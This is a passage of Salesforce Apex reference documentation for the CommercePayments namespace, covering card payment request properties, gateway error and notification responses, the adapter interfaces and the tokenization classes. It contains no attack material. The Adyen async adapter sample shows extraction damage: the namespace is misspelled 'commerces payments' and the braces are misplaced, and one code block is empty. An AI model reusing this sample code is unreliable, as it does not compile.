Signature

`global void setGatewayDate(Datetime gatewayDate)`

Parameters

`gatewayDate`  
Type: `Datetime`  
The date that communication happened with the gateway.

Return Value

Type: `void`

`setGatewayMessage(gatewayMessage)`  
Sets information or messages that the gateway returned.

Signature

`global void setGatewayMessage(String gatewayMessage)`

Parameters

`gatewayMessage`  
Type: `String`  
Information or error messages returned by the gateway.

Return Value

Type: `void`

`setGatewayReferenceDetails(gatewayReferenceDetails)`  
Sets the payment gateway's reference details.

Signature

`global void setGatewayReferenceDetails(String gatewayReferenceDetails)`

Parameters

`gatewayReferenceDetails`  
Type: `String`  
Provides information about the gateway communication.

Return Value

Type: `void`
**setGatewayReferenceNumber** *(gatewayReferenceNumber)*
Sets the payment gateway's reference number.

Signature
```
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```

Parameters
- **gatewayReferenceNumber**
  - Type: `String`
  - Unique transaction ID created by the payment gateway.

Return Value
Type: void

**setGatewayResultCode** *(gatewayResultCode)*
Sets the payment gateway's result code.

Signature
```
global void setGatewayResultCode(String gatewayResultCode)
```

Parameters
- **gatewayResultCode**
  - Type: `String`
  - The gateway result code. You must map this to a Salesforce result code.

Return Value
Type: void

**setGatewayResultCodeDescription** *(gatewayResultCodeDescription)*
Sets the payment gateway's result code description.

Signature
```
global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)
```

Parameters
- **gatewayResultCodeDescription**
  - Type: `String`
  - Description of the GatewayResultCode. Provides additional context about the result code that the gateway returned.
Return Value
Type: void

`setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
Sets Salesforce result code information.

Signature

Parameters
`salesforceResultCodeInfo`
`SalesforceResultCodeInfo` Type: commercepayments.SalesforceResultCodeInfo
Description of the Salesforce result code value.

---

CardCategory Enum
Defines whether the payment method represents a credit card or a debit card.

Namespace
`CommercePayments` on page 918

Enum Values
The following are the values of the `commercepayments.CardCategory` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CreditCard</td>
<td>Shows that the payment method is a credit card.</td>
</tr>
<tr>
<td>DebitCard</td>
<td>Shows that the payment method is a debit card.</td>
</tr>
</tbody>
</table>

CardPaymentMethodRequest Class
Sends data related to a card payment method to a gateway adapter during a service call.

Namespace
`CommercePayments` on page 918
Usage
This class contains details about the card used as a payment method for authorization, sale, or tokenization transaction requests. The gateway adapter reads the fields of this class object while constructing a transaction JSON request to send to the payment gateway. The object of this class is available as the cardPaymentMethod field in the SaleApiPaymentMethodRequest Class, AuthApiPaymentMethodRequest Class, and PaymentMethodTokenizationRequest Class.

Example: This code sample retrieves the cardPaymentMethodRequest object from the paymentMethod class.

```java
commercepayments.CardPaymentMethodRequest cardPaymentMethod = paymentMethod.cardPaymentMethod;
```

IN THIS SECTION:
CardPaymentMethodRequest Constructors
CardPaymentMethodRequest Properties
CardPaymentMethodRequest Methods

CardPaymentMethodRequest Constructors
The following are constructors for CardPaymentMethodRequest.

IN THIS SECTION:
CardPaymentMethodRequest(cardCategory)
Sets the cardCategory value for the card payment method request.

CardPaymentMethodRequest(cardCategory)
Sets the cardCategory value for the card payment method request.

Signature
```
global CardPaymentMethodRequest(commercepayments.CardCategory cardCategory)
```

Parameters
- **cardCategory**
  - Type: CardCategory on page 978
  - Defines whether the card payment method is a credit card or a debit card.

CardPaymentMethodRequest Properties
The following are properties for CardPaymentMethodRequest.

IN THIS SECTION:
accountId
Customer account for this payment method.
**cardCategory**
Indicates whether a card payment method is for a credit card or debit card.

**cardHolderFirstName**
The first name of the cardholder for the card payment method.

**cardHolderLastName**
The last name of the cardholder for the card payment method.

**cardHolderName**
Full name of the cardholder on the card payment method.

**cardNumber**
System-defined unique ID for the card payment method.

**cardType**
Defines the credit card bank. Possible values are AmericanExpress, DinersClub, JCB, Maestro, MasterCard, and Visa.

**cvv**
The card security code for the credit or debit card on a card payment method.

**email**
Email address of the cardholder for the credit or debit card on a card payment method.

**expiryMonth**
Expiration month for the credit or debit card on a card payment method.

**expiryYear**
Expiration year of the credit or debit card for the card payment method.

**inputCardType**
Input field for the card type. This field doesn’t store the card type directly, but instead populates CardBin, LastFour, and DisplayCardNumber based on the value entered in inputCardType.

**startMonth**
The credit or debit card becomes valid on the first day of the startMonth in the startYear.

**startYear**
Year during which the credit or debit card becomes valid.

**accountId**
Customer account for this payment method.

**Signature**

```global String accountId {get; set;}```

**Property Value**
Type: String

**cardCategory**
Indicates whether a card payment method is for a credit card or debit card.
Signature

```csharp
global commercepayments.CardCategory cardCategory {get; set;}
```

Property Value
Type: `CardCategory` on page 978

**cardHolderFirstName**
The first name of the cardholder for the card payment method.

Signature

```csharp
global String cardHolderFirstName {get; set;}
```

Property Value
Type: `String`

**cardHolderLastName**
The last name of the cardholder for the card payment method.

Signature

```csharp
global String cardHolderLastName {get; set;}
```

Property Value
Type: `String`

**cardHolderName**
Full name of the cardholder on the card payment method.

Signature

```csharp
global String cardHolderName {get; set;}
```

Property Value
Type: `String`

**cardNumber**
System-defined unique ID for the card payment method.

Signature

```csharp
global String cardNumber {get; set;}
```
Property Value
Type: String

**cardType**
Defines the credit card bank. Possible values are AmericanExpress, DinersClub, JCB, Maestro, MasterCard, and Visa.

Signature
```csharp
global commercepayments.CardType cardType {get; set;}
```

Property Value
Type: CardType

**cvv**
The card security code for the credit or debit card on a card payment method.

Signature
```csharp
global String cvv {get; set;}
```

Property Value
Type: String

**email**
Email address of the cardholder for the credit or debit card on a card payment method.

Signature
```csharp
global String email {get; set;}
```

Property Value
Type: String

**expiryMonth**
Expiration month for the credit or debit card on a card payment method.

Signature
```csharp
global Integer expiryMonth {get; set;}
```

Property Value
Type: Integer
expiryYear
Expiration year of the credit or debit card for the card payment method.

Signature
global Integer expiryYear {get; set;}

Property Value
Type: Integer

inputCardType
Input field for the card type. This field doesn’t store the card type directly, but instead populates CardBin, LastFour, and DisplayCardNumber based on the value entered in inputCardType.

Signature
global String inputCardType {get; set;}

Property Value
Type: String

startMonth
The credit or debit card becomes valid on the first day of the startMonth in the startYear

Signature
global Integer startMonth {get; set;}

Property Value
Type: Integer

startYear
Year during which the credit or debit card becomes valid.

Signature
global Integer startYear {get; set;}

Property Value
Type: Integer

CardPaymentMethodRequest Methods
The following are methods for CardPaymentMethodRequest.
equals(obj)
Maintains the integrity of lists of type CardPaymentMethodRequest by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

hashCode()
Maintains the integrity of lists of type CardPaymentMethodRequest.

toString()
Converts a date to a string.

equals(obj)
Maintains the integrity of lists of type CardPaymentMethodRequest by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

Signature

```java
global Boolean equals(Object obj)
```

Parameters

`obj`
Type: Object
External object whose key is to be validated.

Return Value
Type: Boolean

hashCode()
Maintains the integrity of lists of type CardPaymentMethodRequest.

Signature

```java
global Integer hashCode()
```

Return Value
Type: Integer

toString()
Converts a date to a string.

Signature

```java
global String toString()
```
Return Value
Type: String

CustomMetadataTypeInfo Class
Access information about custom metadata. The PaymentGatewayAdapter can send CustomMetadataTypeInfo to transaction requests through the response object’s SalesforceResultCodeInfo.

Namespace
CommercePayments on page 918

IN THIS SECTION:
CustomMetadataTypeInfo Constructors
CustomMetadataTypeInfo Methods

CustomMetadataTypeInfo Constructors
The following are constructors for CustomMetadataTypeInfo.

IN THIS SECTION:
CustomMetadataTypeInfo(cmtRecordId, cmtSfResultCodeFieldName)
Constructor for providing custom metadata type information.

CustomMetadataTypeInfo(cmtRecordId, cmtSfResultCodeFieldName)
Constructor for providing custom metadata type information.

Signature
global CustomMetadataTypeInfo(String cmtRecordId, String cmtSfResultCodeFieldName)

Parameters
cmtRecordId
Type: String
ID of the matched custom metadata type record
cmtSfResultCodeFieldName
Type: String
Field that contains the Salesforce result code values. Belongs to the custom metadata type.

CustomMetadataTypeInfo Methods
The following are methods for CustomMetadataTypeInfo.
GatewayErrorResponse Class

Use to respond with an error indication following errors from the PaymentGateway adapter, such as request-forbidden responses, custom validation errors, or expired API tokens.

Namespace

CommercePayments on page 918

Usage

Use GatewayErrorResponse to create an object that stores information about error responses sent by the payment gateway adapter.

Example

If GatewayResponse receives an exception rather than a valid request, it calls GatewayErrorResponse to create an error object with information about the exception.

```
global commercepayments.GatewayResponse processRequest(commercepayments.paymentGatewayContext gatewayContext) {
    commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
    commercepayments.GatewayResponse response;
    try {
        if (requestType == commercepayments.RequestType.Authorize) {
            response = createAuthResponse((commercepayments.AuthorizationRequest)gatewayContext.getPaymentRequest());
        } else if (requestType == commercepayments.RequestType.Capture) {
            response = createCaptureResponse((commercepayments.CaptureRequest)gatewayContext.getPaymentRequest());
        } else if (requestType == commercepayments.RequestType.ReferencedRefund) {
            response = createRefundResponse((commercepayments.ReferencedRefundRequest)gatewayContext.getPaymentRequest());
        }
        return response;
    } catch(SalesforceValidationException e) {
        commercepayments.GatewayErrorResponse error = new commercepayments.GatewayErrorResponse('400', e.getMessage());
        return error;
    }
}
```

IN THIS SECTION:

GatewayErrorResponse Constructors

GatewayErrorResponse Constructors

The following are constructors for GatewayErrorResponse.
IN THIS SECTION:

**GatewayErrorResponse**

Constructor to create a GatewayErrorResponse object that accepts `errorCode` and `errorMessage`.

**GatewayErrorResponse(errorCode, errorMessage)**

Constructor to create a GatewayErrorResponse object that accepts `errorCode` and `errorMessage`.

Signature

```java
global GatewayErrorResponse(String errorCode, String errorMessage)
```

Parameters

**errorCode**

Type: `String`

Should match with the HTTP status code to be returned to the user. Here are a few examples.

- If the status code is for a bad request, the `errorCode` should be 400.
- If the status code is for a forbidden request, `errorCode` should be 403.
- If `errorCode` isn’t a valid HTTP status code, a 500 internal server error is returned.

**Note:** `errorCode` must have a value, otherwise the platform throws an error.

**errorMessage**

Type: `String`

The message response to users following an error.

**Note:** `errorMessage` must have a value, otherwise the platform throws an error.

---

**GatewayNotificationResponse Class**

When the payment gateway sends a notification to the payments platform, the platform responds with a `GatewayNotificationResponse` indicating whether the platform succeeded or failed at receiving the notification.

**Namespace**

`CommercePayments` on page 918

**Usage**

You must specify the `CommercePayments` namespace when creating an instance of this class. The constructor of this class takes no arguments. For example:

```java
```

When an asynchronous payment gateway sends a notification, the gateway requires the platform to acknowledge that it has either succeeded or failed in receiving the notification. Payment gateway adapters use this class to construct the acknowledgment response, which gateways expect for a notification. `GatewayNotificationResponse` is the return type of the `processNotification` method.
Example

commercepayments.GatewayNotificationResponse gnr = new commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
    system.debug('Notification accepted by platform');
} else {
    system.debug('Errors in the result ' + Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;

IN THIS SECTION:
GatewayNotificationResponse Methods

GatewayNotificationResponse Methods
The following are methods for GatewayNotificationResponse.

IN THIS SECTION:
setResponseBody(responseBody)
Sets the body of the response to the gateway. Some gateways expect the payments platform to acknowledge the notification with a response regardless of whether the notification was accepted.

setStatusCode(statusCode)
Sets the HTTP status code sent to the gateway as part of the payments platform’s response notification.

setResponseBody (responseBody)
Sets the body of the response to the gateway. Some gateways expect the payments platform to acknowledge the notification with a response regardless of whether the notification was accepted.

Signature

global void setResponseBody(Blob responseBody)

Parameters

responseBody
Type: Blob

Common response values include accepted for successfully receiving the response. For example:

commercepayments.GatewayNotificationResponse gnr = new commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
    system.debug('Notification accepted by platform');
} else {
    system.debug('Errors in the result ' + Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;

Return Value
Type: void

**setStatusCode**(statusCode)
Sets the HTTP status code sent to the gateway as part of the payments platform’s response notification.

Signature

global void setStatusCode(Integer statusCode)

Parameters

**statusCode**
Type: Integer
The status code will vary based on the type of payments platform response. Users should configure their GatewayNotificationResponse class to account for all values that their payments platform can possibly return. For example:

```apex
commercepayments.GatewayNotificationResponse gnr = new commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
    system.debug('Notification accepted by platform');
} else {
    system.debug('Errors in the result ' + Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;
```

Return Value
Type: void

**GatewayResponse Interface**
Generic payment gateway response interface. This class extends the CaptureResponse on page 973, AbstractTransactionResponse on page 930, and AbstractResponse on page 920 classes and inherits all their properties. It has no unique methods or parameters.

**Namespace**
CommercePayments on page 918
GatewayResponse Example Implementation

This is an example implementation of the `commercepayments.GatewayResponse` interface.

```java
/**
 * Abstract function to build gateway response for a Transaction
 * The input is the response from gateway
 * It creates and returns GatewayResponse from the HttpResponse
 */
public abstract commercepayments.GatewayResponse buildResponse(HttpResponse response);

/**
 * Function to process transaction requests
 * Steps involved are:
 * 1. Build HttpRequest with the input Request from gateway context
 * 2. Send request and get the response from gateway
 * 3. Parse the response from gateway and return GatewayResponse
 */
public commercepayments.GatewayResponse execute(){
    HttpRequest req;
    try{
        //Building a new request
        req = buildRequest();
    } catch(PayeezeValidationException e) {
        return getValidationExceptionError(e);
    }

    commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
    HttpResponse res = null;
    try{
        //Sending the request
        res = http.send(req);
    } catch(CalloutException ce) {
        return getCalloutExceptionError(ce);
    }

    try{
        //Parsing the response from gateway
        return buildResponse(res);
    } catch(Exception e) {
        return getParseExceptionError(e);
    }
}
```

For additional context, review the complete Sample Gateway Adapter in the CommercePayments Gateway Reference Implementation.

NotificationClient Class

Communicates with the payment platform regarding the gateway’s notification.
Namespace

CommercePayments on page 918

Usage

Specify the CommercePayments namespace when creating an instance of this class. The constructor of this class takes no arguments. For example:

CommercePayments.NotificationClient ntc = new CommercePayments.NotificationClient();

This class is used in asynchronous payment gateway adapters. The notification client contains API for communicating with the payments platform regarding the gateway's notification. When the gateway sends a notification, the gateway adapter invokes the record method in NotificationClient to request that the platform updates notification details.

Example

The NotificationSaveResult class creates a saveResult object to store the result of the save request made to the payment gateway.

commercepayments.NotificationSaveResult saveResult = commercepayments.NotificationClient.record(notification);

IN THIS SECTION:

NotificationClient Methods

NotificationClient Methods

The following are methods for NotificationClient.

IN THIS SECTION:

record(notification)

Stores the results of a notification request.

record(notification)

Stores the results of a notification request.

Signature

global static commercepayments.NotificationSaveResult record(commercepayments.BaseNotification notification)

Parameters

notification

Type: BaseNotification on page 959

Return Value

Type: NotificationSaveResult on page 992
NotificationSaveResult Class

Contains the result of the payment platform’s attempt to record data from the gateway’s notification.

Namespace

CommercePayments on page 918

Usage

This class is used with asynchronous payments. It is the return type of the NotificationClient.record operation and contains the result of the payment platform’s attempt to save notification details.

The constructor of this class takes no arguments. For example:

```java
CommercePayments.NotificationSaveResult nsr = new CommercePayments.NotificationSaveResult();
```

Example

```java
commercepayments.NotificationSaveResult saveResult = commercepayments.NotificationClient.record(notification);
```

IN THIS SECTION:

NotificationSaveResult Methods

The following are methods for NotificationSaveResult.

IN THIS SECTION:

getErrorMessage()

getErrorMessage() Gets the error message, if any, from the payment platform regarding its attempt to save the notification sent from the payment gateway.

getStatusCode()

getStatusCode() Gets the status code from the payment platform’s attempt to save the notification sent from the payment gateway.

isSuccess()

isSuccess() Gets the status of whether the payment platform successfully saved the notification sent from the payment gateway.

getErrorMessage()

getErrorMessage() Gets the error message, if any, from the payment platform regarding its attempt to save the notification sent from the payment gateway.

Signature

```java
global String getErrorMessage()
```
Return Value
Type: String

getStatusCode()
Gets the status code from the payment platform’s attempt to save the notification sent from the payment gateway.

Signature
global Integer getStatusCode()

Return Value
Type: Integer

isSuccess()
Gets the status of whether the payment platform successfully saved the notification sent from the payment gateway.

Signature
global Boolean isSuccess()

Return Value
Type: Boolean

NotificationStatus Enum
Shows whether the payments platform successfully received the notification from the gateway.

Usage
When the gateway sends a notification for a payment request, the payments platform delegates the notification request to the gateway adapter. First, the adapter evaluates the signature from the notification request. If the signature is valid, the adapter builds a notification object to store information about the notification. During this process, the adapter sets the NotificationStatus to Failed or Success based on information from the notification request.

Enum Values
The following are the values of the commercepayments.NotificationStatus enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Failed</td>
<td>The payments platform couldn’t receive the notification due to an error.</td>
</tr>
<tr>
<td>Success</td>
<td>The payments platform received the notification.</td>
</tr>
</tbody>
</table>
PaymentGatewayAdapter Interface

PaymentGatewayAdapters can implement this interface in order to process requests.

Namespace

CommercePayments on page 918

IN THIS SECTION:

PaymentGatewayAdapter Methods

PaymentGatewayAdapter Methods
The following are methods for PaymentGatewayAdapter.

IN THIS SECTION:

processRequest(var1)

The entry point for processing payment requests. Returns the response from the payment gateway.

processRequest(var1)

The entry point for processing payment requests. Returns the response from the payment gateway.

Signature

global commercepayments.GatewayResponse
processRequest(commercepayments.PaymentGatewayContext var1)

Parameters

var1
Type: commercepayments.PaymentGatewayContext
You can retrieve the request type and the request from the Context object.

Return Value

Type: commercepayments.GatewayResponse
The response from the payment gateway.

PaymentGatewayAsyncAdapter Interface

Implement the interface to allow customers to process payments asynchronously.

Namespace

CommercePayments on page 918
Usage
Implementing an asynchronous adapter also requires the `processNotification` method from the `GatewayNotificationResponse` on page 987 class.

Example

```apex
global with sharing class SampleAsyncAdapter implements commercepayments.PaymentGatewayAsyncAdapter, commercepayments.PaymentGatewayAdapter {
    global SampleAsyncAdapter() {}

    global commercepayments.GatewayResponse
    processRequest(commercepayments.paymentGatewayContext gatewayContext) {
    }

    global commercepayments.GatewayNotificationResponse
    processNotification(commercepayments.PaymentGatewayNotificationContext gatewayNotificationContext) {
    }
}
```

IN THIS SECTION:
- PaymentGatewayAsyncAdapter Methods
- PaymentGatewayAsyncAdapter Example Implementation

PaymentGatewayAsyncAdapter Methods
The following are methods for `PaymentGatewayAsyncAdapter`.

IN THIS SECTION:
- `processNotification(paymentGatewayNotificationContext)`
  Entry point for processing notifications from payment gateways.

`processNotification(paymentGatewayNotificationContext)`
Entry point for processing notifications from payment gateways.

Signature
```apex
global commercepayments.GatewayNotificationResponse
processNotification(commercepayments.PaymentGatewayNotificationContext var1)
```

Parameters
- `paymentGatewayNotificationContext`
  Type: `PaymentGatewayNotificationContext` on page 999
  The `PaymentGatewayNotificationContext` object wraps all the information related to a gateway notification.
Return Value

Type: GatewayNotificationResponse on page 987

When the payment gateway sends a notification to the payments platform, the platform responds with a GatewayNotificationResponse indicating whether the platform succeeded or failed at receiving the notification.

PaymentGatewayAsyncAdapter Example Implementation

This is a sample implementation of the commercepayments.PaymentGatewayAsyncAdapter interface.

```java
global with sharing class AdyenAdapter implements commercepayments.PaymentGatewayAsyncAdapter, commercepayments.PaymentGatewayAdapter {
    ...}

    global commercepayments.GatewayResponse processRequest(commercepayments.paymentGatewayContext gatewayContext) {
        ...}

    global commercepayments.GatewayNotificationResponse processNotification(commercepayments.PaymentGatewayNotificationContext gatewayNotificationContext) {
        ...}

commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
if (requestType == commercepayments.RequestType.Capture) {
    req.setEndpoint('/pal/servlet/Payment/v52/capture');
    // Refer to the end of this doc for sample buildCaptureRequest implementation
    body = buildCaptureRequest(((commercepayments.CaptureRequest)gatewayContext.getPaymentRequest()));
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
    req.setEndpoint('/pal/servlet/Payment/v52/refund');
    body = buildRefundRequest(((commercepayments.ReferencedRefundRequest)gatewayContext.getPaymentRequest()));
}

req.setBody(body);
req.setMethod('POST');
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = null;
try {
    res = http.send(req);
} catch(CalloutException ce) {
    commercepayments.GatewayErrorResponse error = new commercepayments.GatewayErrorResponse('500', ce.getMessage());
    return error;
}

if (requestType == commercepayments.RequestType.Capture) {
    // Refer to the end of this doc for sample createCaptureResponse implementation
    response = createCaptureResponse(res);
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
    response = createRefundResponse(res);
}
```
return response;

commerces payments.PaymentGatewayNotificationRequest notificationRequest =
gatewayNotificationContext.getPaymentGatewayNotificationRequest();
Blob request = notificationRequest.getRequestBody();
Map<String, Object> jsonReq = (Map<String,
Object>)JSON.deserializeUntyped(request.toString());
List<Object> notificationItems = (List<Object>)jsonReq.get('notificationItems');
Map<String, Object> notificationRequestItem =
(Map<String, Object>)((Map<String,
Object>)notificationItems[0]).get('NotificationRequestItem');
Boolean success = Boolean.valueOf(notificationRequestItem.get('success'));
String pspReference = (String)notificationRequestItem.get('pspReference');
String eventCode = (String)notificationRequestItem.get('eventCode');
Double amount = (Double)((Map<String,
Object>)notificationRequestItem.get('amount')).get('value');

commerces payments.NotificationStatus notificationStatus = null;
if (success) {
    notificationStatus = commerces payments.NotificationStatus.Success;
} else {
    notificationStatus = commerces payments.NotificationStatus.Failed;
}
commerces payments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
    notification = new commerces payments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
    notification = new commerces payments.ReferencedRefundNotification();
}
notification.setStatus(notificationStatus);
notification.setGatewayReferenceNumber(pspReference);
notification.setAmount(amount);
commerces payments.NotificationSaveResult saveResult =
commerces payments.NotificationClient.record(notification);
commerces payments.GatewayNotificationResponse gnr = new
commerces payments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
    system.debug('Notification accepted by platform');
} else {
    system.debug('Errors in the result ' + Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;

PaymentGatewayContext Class
Wraps the information related to a payment request.
Namespace

CommercePayments on page 918

Usage

The constructor of this class takes no arguments. For example:

```java
CommercePayments.PaymentGatewayContext pgc = new CommercePayments.PaymentGatewayContext();
```

Example

```java
global commercepayments.GatewayResponse processRequest(commercepayments.PaymentGatewayContext gatewayContext) {
    commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
    if (requestType == commercepayments.RequestType.Capture) {
        commercepayments.CaptureRequest captureRequest = (commercepayments.CaptureRequest) gatewayContext.getPaymentRequest();
    }
}
```

IN THIS SECTION:

- PaymentGatewayContext Constructors
- PaymentGatewayContext Methods

PaymentGatewayContext Constructors

The following are constructors for PaymentGatewayContext.

IN THIS SECTION:

- PaymentGatewayContext(request, requestType)

Constructor to enable instance creation. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

**PaymentGatewayContext(request, requestType)**

Constructor to enable instance creation. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Signature

```java
global PaymentGatewayContext(commercepayments.PaymentGatewayRequest request, String requestType)
```

Parameters

- request
  - Type: commercepayments.PaymentGatewayRequest
Raw payload. Sensitive attributes are masked to ensure PCI compliance.

**requestType**

Type: String

Defines the type of request made to the gateway

### PaymentGatewayContext Methods

The following are methods for `PaymentGatewayContext`.

**IN THIS SECTION:**

- `getPaymentRequest()`
  - Returns the payment request object.
- `getPaymentRequestType()`
  - Returns the payment request type.

#### `getPaymentRequest()`

Returns the payment request object.

**Signature**

```
global commercepayments.PaymentGatewayRequest getPaymentRequest()
```

**Return Value**

Type: `PaymentGatewayRequest`

#### `getPaymentRequestType()`

Returns the payment request type.

**Signature**

```
global String getPaymentRequestType()
```

**Return Value**

Type: `String`

### PaymentGatewayNotificationContext Class

Wraps the information related to a gateway notification.

**Namespace**

`CommercePayments` on page 918
Usage
This class is used with asynchronous payments. It wraps all of the information related to a notification from the payment gateway. The payments platform provides its context to the payment gateway adapters.

The constructor of this class takes no arguments. For example:

```java
CommercePayments.PaymentGatewayNotificationContext pgnc = new CommercePayments.PaymentGatewayNotificationContext();
```

Example

```java
global commercepayments.GatewayNotificationResponse processNotification(commercepayments.PaymentGatewayNotificationContext gatewayNotificationContext) {
   commercepayments.PaymentGatewayNotificationRequest notificationRequest = gatewayNotificationContext.getPaymentGatewayNotificationRequest();
}
```

IN THIS SECTION:
- PaymentGatewayNotificationContext Methods

PaymentGatewayNotificationContext Methods
The following are methods for PaymentGatewayNotificationContext.

IN THIS SECTION:
- `getPaymentGatewayNotificationRequest()`
  - Returns the payment gateway’s notification request.

`getPaymentGatewayNotificationRequest()`
Returns the payment gateway’s notification request.

Signature
```
global commercepayments.PaymentGatewayNotificationRequest getPaymentGatewayNotificationRequest()
```

Return Value
Type: `PaymentGatewayNotificationRequest` on page 1008

PaymentMethodTokenizationRequest Class
Stores data about a request to tokenize a card payment method.

Namespace
`CommercePayments` on page 918
**Usage**

The constructor of this class takes no arguments. For example:

```java
CommercePayments.PaymentMethodTokenizationRequest pmtr = new CommercePayments.PaymentMethodTokenizationRequest();
```

The tokenization process replaces sensitive customer data, such as a card number or CVV, with unique identification symbols while the data is handled by Salesforce, the payment gateway, and the customer bank.

This class holds all required details about the tokenize request. Gateway adapters read the fields of this class object while constructing a tokenization JSON request, which is sent to the payment gateway.

**Example**

```java
global commercepayments.GatewayResponse processRequest(commercepayments.PaymentGatewayContext gatewayContext) {
    commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
    if (requestType == commercepayments.RequestType.Tokenize) {
        commercepayments.PaymentMethodTokenizationRequest tokenizeRequest = (commercepayments.*PaymentMethodTokenizationRequest*) gatewayContext.getPaymentRequest();
    }
}
```

**IN THIS SECTION:**
- PaymentMethodTokenizationRequest Constructors
- PaymentMethodTokenizationRequest Properties
- PaymentMethodTokenizationRequest Methods

**PaymentMethodTokenizationRequest Constructors**

The following are constructors for `PaymentMethodTokenizationRequest`.

**IN THIS SECTION:**
- `PaymentMethodTokenizationRequest(paymentGatewayId)`
  - Payment gateway ID constructor used with `paymentMethodTokenizationRequest`. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.
- `PaymentMethodTokenizationRequest()`
  - The following are constructors for `PaymentMethodTokenizationRequest`.

**PaymentMethodTokenizationRequest (paymentGatewayId)**

Payment gateway ID constructor used with `paymentMethodTokenizationRequest`. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

**Signature**

```java
global PaymentMethodTokenizationRequest(String paymentGatewayId)
```
Parameters

`paymentGatewayId`
Type: `String`
The payment method’s payment gateway ID that will be tokenized.

**PaymentMethodTokenizationRequest()**
The following are constructors for `PaymentMethodTokenizationRequest`.

Signature

```csharp
global PaymentMethodTokenizationRequest()
```

**PaymentMethodTokenizationRequest Properties**
The following are properties for `PaymentMethodTokenizationRequest`.

IN THIS SECTION:

- **address**
  The card payment method address to be tokenized.

- **cardPaymentMethod**
  The card payment method containing data to be tokenized.

**address**
The card payment method address to be tokenized.

Signature

```csharp
global commercepayments.AddressRequest address {get; set;}
```

Property Value
Type: `AddressRequest` on page 924

**cardPaymentMethod**
The card payment method containing data to be tokenized.

Signature

```csharp
global commercepayments.CardPaymentMethodRequest cardPaymentMethod {get; set;}
```

Property Value
Type: `CardPaymentMethodRequest` on page 978
PaymentMethodTokenizationRequest Methods

The following are methods for PaymentMethodTokenizationRequest.

IN THIS SECTION:

equals(obj)
Maintains the integrity of lists of type PaymentMethodTokenizationRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

hashCode()
Maintains the integrity of lists of type PaymentMethodTokenizationRequest by determining the uniqueness of the external object records in a list.

toString()
Converts a date to a string.

equals(obj)
Maintains the integrity of lists of type PaymentMethodTokenizationRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

Signature

global Boolean equals(Object obj)

Parameters

obj
Type: Object

External object whose key is to be validated.

Return Value

Type: Boolean

hashCode()
Maintains the integrity of lists of type PaymentMethodTokenizationRequest by determining the uniqueness of the external object records in a list.

Signature

global Integer hashCode()

Return Value

Type: Integer

toString()
Converts a date to a string.
Signature

`global String toString()`

Return Value

Type: String

**PaymentMethodTokenizationResponse Class**

Gateway response sent by payment gateway adapters for the payment method tokenization request. The response includes the payment method’s token ID value.

**Namespace**

CommercePayments on page 918

**Usage**

The constructor of this class takes no arguments. For example:

```java
CommercePayments.PaymentMethodTokenizationResponse pmtr = new CommercePayments.PaymentMethodTokenizationResponse();
```

This class contains details about a tokenize transaction gateway response. Fields of this class object are populated from the response obtained from the payment gateway. This class is mapped to a response class in the Java layer, which the payments platform uses to construct the Tokenize gateway response shown to the user.

```java
commercepayments.PaymentMethodTokenizationResponse tokenizeResponse = new commercepayments.PaymentMethodTokenizationResponse();
```

**Example**

```java
commercepayments.PaymentMethodTokenizationResponse tokenizeResponse = new commercepayments.PaymentMethodTokenizationResponse();
```

**IN THIS SECTION:**

PaymentMethodTokenizationResponse Methods

**PaymentMethodTokenizationResponse Methods**

The following are methods for PaymentMethodTokenizationResponse.

**IN THIS SECTION:**

- `setGatewayAvsCode(gatewayAvsCode)`
  Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.

- `setGatewayDate(gatewayDate)`
  Sets the date that the tokenization occurred. Some gateways don’t send this value.
setGatewayMessage(gatewayMessage)
Sets error messages that the gateway returned for the tokenization request. Maximum length of 255 characters.

setGatewayResultCode(gatewayResultCode)
Sets a gateway-specific result code. The code may be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

setGatewayToken(gatewayToken)
Sets the gateway token value that the gateway returned.

setGatewayTokenDetails(gatewayTokenDetails)
Sets any additional information that the gateway returned about the payment token.

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

setGatewayAvsCode(gatewayAvsCode)
